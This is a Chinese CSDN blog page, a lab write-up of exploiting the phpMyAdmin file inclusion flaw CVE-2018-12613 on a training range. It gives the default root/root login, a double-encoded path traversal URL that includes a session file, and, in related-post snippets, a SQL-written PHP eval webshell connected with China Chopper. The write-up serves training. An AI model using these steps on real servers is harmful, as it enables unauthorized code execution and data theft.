phpMyAdmin后台文件包含分析溯源

最新推荐文章于 2023-02-12 23:35:12 发布
最新推荐文章于 2023-02-12 23:35:12 发布
阅读量3.2k 收藏
点赞数 2
文章标签： mysql php 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40554015/article/details/121297782
版权
本文详细介绍了phpMyAdmin的CVE-2018-12613漏洞，从弱口令登录开始，利用SQL注入将PHP代码写入Session文件，再通过包含Session文件执行代码，接着上传一句话木马并最终使用菜刀连接获取关键文件key.txt，全面展示了漏洞利用流程。
摘要由CSDN通过智能技术生成

phpMyAdmin 漏洞利用汇总：PhpMyAdmin漏洞利用汇总 - 只言 - 博客园

漏洞编号：CVE-2018-12613

背景介绍

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。

一.弱口令登录

root-root

二.利用sql语句，将php代码写入Session文件中

三.包含Session文件

http://219.153.49.228:44273/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_***

 ***代表phpmyadmin的cookie的值，f12存储可以看

最低0.47元/天 解锁文章
this is hhhhp
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
【墨者】靶场练习——phpMyAdmin后台文件包含分析溯源
weixin_63082823的博客
12-12 557
首先我们启动靶场，点击访问就会跳转到phpMyAdmin的登陆页面，我们使用弱口令root,root登录。
墨者学院-phpMyAdmin后台文件包含分析溯源
qq_47094508的博客
07-01 1323
首先拿到题目到点击访问访问后使用弱口令进行登陆，如登陆失败开启隐私模式或者更换浏览器账户密码：root root点击sql模块 对sql语句进行一个查询首先查询sql写一句话的权限我们可以看到他的值为空secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。 继续查看mysql安装的绝对路径，可以发现他是安装在/var/lib/mysql/ 接下来确认一下mysql权限，可以看到这里是最高权限r
墨者学院-入门级-phpMyAdmin后台文件包含分析溯源-小白必看（超详细）
kitiu666的博客
01-26 1327
2021年1月26日，第六次渗透测试。 实在抱歉，因为工作原因许久没有更新测试，期间生活也发生了很多事，现在心情也不怎么好，但也尽量讲细一点吧，开干！ 准备需求： 1、win10系统； 2、中国菜刀； 1、进入靶场 账号：root 密码：root 这个账号密码都是看其他的教程知道的，至于怎样破解出来不知道，能力有限，过后我看看怎么来的吧。（如果了解再回来追跟）； 2、进入到后台，到SQL页面，在控制台下输入以下命令，然后点击执行； select ‘<?php eval($_POST[key
墨者学院10 phpMyAdmin后台文件包含分析溯源
最新发布
weixin_42789937的博客
02-12 511
墨者学院10 phpMyAdmin后台文件包含分析溯源，本文整理了评论区的三种解法，解题过程七分靠技术，三分靠运气~
phpMyAdmin后台文件包含分析溯源（CVE-2018-12613）--墨者学院
小白鸽
08-03 766
01 背景介绍 phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613） phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑， 通过二次编码即可绕过检查，造成远程文件包含漏洞。 02 影响版本 phpMyAdmin 4.8.0和4.8.1 03 利用方式 1.写phpinfo文件，利用文件包含，查看绝对路径, select '<?php phpinfo()?>' 2.写小马 select '<?ph
墨者靶场 入门：phpMyAdmin后台文件包含分析溯源
qq_43233085的博客
01-13 863
墨者靶场 入门：phpMyAdmin后台文件包含分析溯源题目背景介绍实训目标解题方向解题步骤 题目 背景介绍 phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。 实训目标 1、了解此漏洞形成的原因； 2、掌握此漏洞的利用方式。 解题方向 根据漏洞编号找到相关知识。 解题步骤 启动靶场...
墨者靶场 phpMyAdmin后台文件包含分析溯源 (CVE-2018-12613)
曹振国的博客
06-15 5270
phpMyAdmin第一种：一、利用burp爆破出账号密码二、尝试写马连入蚁剑1.发现MySQL对导入导出没做任何限制2.查询日志3.利用日志写文件4.访问写入的日志文件6.尝试直接通过into outfile写入一句话木马7.访问phpinfo文件,并连接蚁剑得到key值第二种：一、下载index.php文件进行分析1.发现55到63行存在问题二、下载Core.php进行分析1.找到checkPageValidity函数，在第443行2.查看白名单数组$whitelist3.包含根目录下的key.txt得
07#墨者靶场-phpMyAdmin后台文件包含分析溯源
shy的博客
11-22 1481
墨者学习 By/shy014 地址：https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe 1.在墨者学院找到...
Linux下PhpMyAdmin程序目录结构的安全管理
09-15
Linux下开发Web程序，现在很流行的开发方法为：用PHP开发Web程序，用Apache做Web Server，Mysql充当后台管理数据库。
从信息到情报，从溯源到协同.pdf
03-21
安全分析与情报大会ppt 北京天际友盟信息技术有限公司 谢涛 演讲：从信息到情报，从溯源到协同， 内容包括如何运用威胁情报，具体的3个应用模式，很有启发意义，对威胁情报感兴趣的朋友可以看看
CVE-2018-12613 PhpMyadmin后台文件包含分析
大方子
07-28 1178
2018年6月19日，phpmyadmin在最新版本修复了一个严重级别的漏洞. 描述: 一个攻击者可以在服务器上包含（查看和潜在执行）文件的漏洞被发现。 该漏洞来自一部分代码，其中页面在phpMyAdmin中被重定向和加载，以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证，但在这些情况下除外： $ cfg ['AllowArbitraryServer'] = true：攻击者...
phpmyadmin漏洞_四十，phpMyAdmin 4.8.1后台文件包含漏洞复现及详解
weixin_39981400的博客
11-27 480
一.phpMyAdmin环境配置PS：前面两部分内容会简单讲解phpMyAdmin 4.8.1版本配置过程，如果读者只想了解漏洞，可以从第三部分开始阅读。还请见谅~phpMyAdmin是一种MySQL数据库的管理工具，安装该工具后，即可通过Web形式直接管理MySQL数据，而不需要通过执行系统命令来管理，非常适合对数据库操作命令不熟悉的数据库管理者，下面详细说明该工具的安装方法。第一步，下载php...
墨者学院 - PHP代码分析溯源(第4题)
多崎巡礼的博客
08-05 1100
打开发现提示key在根目录，且给出代码 &lt;?php eval(gzinflate(base64_decode(&amp;40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&amp;))); ?&gt;  这是base64加密+压缩的编码 简单方法就是直接把eval改成echo输出 执行&lt;?php echo(gzinflate(base64_decode(‘...
墨者学院 - PHP代码分析溯源(第2题)
多崎巡礼的博客
07-30 1263
根据题干看了好久的php隐式转换。。。 还是毫无头绪。。。 这样的逻辑几乎是无解的。。。 md5(QNKCDZO,32) = 0e830400451993494058024219903391   根据PHP Hash比较存在缺陷 http://www.freebuf.com/news/67007.html 。。。在这道题中，最重要的一句话就是： 根据php的隐式转换可以知道 o...
linux下php文件目录结构,Linux下PhpMyAdmin程序目录结构的安全管理
weixin_33393017的博客
03-11 251
Linux下PhpMyAdmin程序目录结构的安全管理更新时间：2011年04月03日 01:10:56 作者：Linux下开发Web程序，现在很流行的开发方法为：用PHP开发Web程序，用Apache做Web Server，Mysql充当后台管理数据库。这种组合使得开发Web程序简单、安全、效率高。由于程序是在Linux下运行，虽免去了版权费用，对数据库的管理却少了Windows下的图形界面...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值